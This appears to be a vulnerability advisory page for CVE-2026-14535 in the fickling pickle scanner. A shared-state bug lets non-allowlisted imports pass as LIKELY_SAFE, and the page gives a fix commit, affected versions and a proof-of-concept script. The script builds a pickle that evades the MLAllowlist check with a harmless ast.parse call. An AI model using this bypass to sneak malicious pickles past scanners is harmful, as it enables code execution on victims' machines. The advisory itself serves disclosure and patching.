cvelo
P2 · HighCVSS 8.4EPSS 0.4%

Fickling MLAllowlist analysis can miss non-allowlisted imports

  • CVE-2026-14535
  • GHSA-cffv-grgg-g429
  • PYSEC-2026-2150
  • EUVD-2026-41676

Description

Show the whole description

# Analysis The issue was confirmed and resolved in https://github.com/trailofbits/fickling/commit/41ce7cb01edd97072994039574a2301ebb3f463d. Users are affected when running the `MLAllowlist` analysis pass _after_ another pass within the same analysis context, in which case it would fail to flag non-allowlisted imports. This fix makes `MLAllowlist` functional again, and opt-in as originally intended, after upgrading to fix. If it is needed to scan ML pickles with an import allowlist, update calls to `check_safety()` to pass `MLAllowlist` in the `analyzer` parameter: ```python pickled = Pickled([ ... ]) analyzer = Analyzer([MLAllowlist()]) res = check_safety(pickled, analyzer=analyzer) ``` # Original report UnsafeImportsML.analyze() unconditionally calls context.shorten_code(node) on every import, even ones it doesn't flag. MLAllowlist.analyze() then sees already_reported=True and skips its allowlist check entirely. MLAllowlist is dead code for all imports for the shared-context/pass-order qualification; but a fresh independent pass can report the import. Not an UnusedVariables bypass. Tests 1–2 in the PoC demonstrate the defect independently. MLAllowlist flags ast.parse as LIKELY_UNSAFE on a fresh context, returns 0 findings after UnsafeImportsML pollutes the shared state. Test 3 shows the full pipeline result. ast.parse: not in UNSAFE_IMPORTS, not in ML_ALLOWLIST. check_safety() returns LIKELY_SAFE with 0 findings on 0.1.11. 139 stdlib modules are unblocked. Root cause is AnalysisContext.reported_shortened_code shared across all passes with no per-analyzer namespace. PoC (tested against 0.1.11 from PyPI): """ fickling MLAllowlist bypass via shorten_code shared state Tested: fickling 0.1.11 """ import sys from fickling.analysis import ( AnalysisContext, UnsafeImportsML, check_safety, Severity ) from fickling.ml import MLAllowlist, ML_ALLOWLIST from fickling.fickle import Pickled, UNSAFE_IMPORTS import fickling.fickle as op def build_payload(module: str, function: str) -> Pickled: return Pickled([ op.Proto.create(4), op.ShortBinUnicode(module), op.ShortBinUnicode(function), op.StackGlobal(), op.ShortBinUnicode("x=1"), op.TupleOne(), op.Reduce(), op.Memoize(), op.EmptyDict(), op.ShortBinUnicode("k1"), op.BinGet(0), op.SetItem(), op.Mark(), op.BinGet(0), op.ShortBinUnicode("k2"), op.SetItems(), op.Stop(), ]) def main(): target = "ast" func = "parse" print(f"fickling MLAllowlist shorten_code bypass") print(f"{'=' * 60}\n") # Preconditions assert target not in UNSAFE_IMPORTS, f"{target} is in UNSAFE_IMPORTS" assert target not in ML_ALLOWLIST, f"{target} is in ML_ALLOWLIST" print(f"Target: {target}.{func}") print(f" In UNSAFE_IMPORTS: {target in UNSAFE_IMPORTS}") print(f" In ML_ALLOWLIST: {target in ML_ALLOWLIST}\n") pickled = build_payload(target, func) # Test 1: MLAllowlist on fresh context — should flag it fresh_ctx = AnalysisContext(pickled) fresh_results = list(MLAllowlist().analyze(fresh_ctx)) print(f"[TEST 1] MLAllowlist on fresh context: {len(fresh_results)} finding(s)") for r in fresh_results: print(f" [{r.severity.name}] {r.message}") # Test 2: MLAllowlist after UnsafeImportsML — silenced polluted_ctx = AnalysisContext(pickled) _ = list(UnsafeImportsML().analyze(polluted_ctx)) polluted_results = list(MLAllowlist().analyze(polluted_ctx)) print(f"[TEST 2] MLAllowlist after UnsafeImportsML: {len(polluted_results)} finding(s)") # Test 3: Full pipeline — LIKELY_SAFE full = check_safety(pickled) print(f"[TEST 3] check_safety(): {full.severity.name} ({len(full.results)} findings)") print(f" fickling.load() would deserialize: {full.severity <= Severity.LIKELY_SAFE}") print(f"\n{'=' * 60}") if (len(fresh_results) > 0 and len(polluted_results) == 0 and full.severity == Severity.LIKELY_SAFE): print("RESULT: MLAllowlist silenced by shorten_code shared state.") print(" check_safety() returns LIKELY_SAFE. fickling.load() executes.") else: print("RESULT: Bug not reproduced. Check fickling version.") return 0 if __name__ == "__main__": sys.exit(main())

Text from the GitHub Advisory record.

Affected

  • trailofbits fickling

    • up to 0.1.11
  • ficklingPyPI

    • from 0.1.4, fixed in 0.1.12

Product versions from the ENISA EUVD record.

Timeline

  1. Published

Related news

No article from the followed outlets names this vulnerability.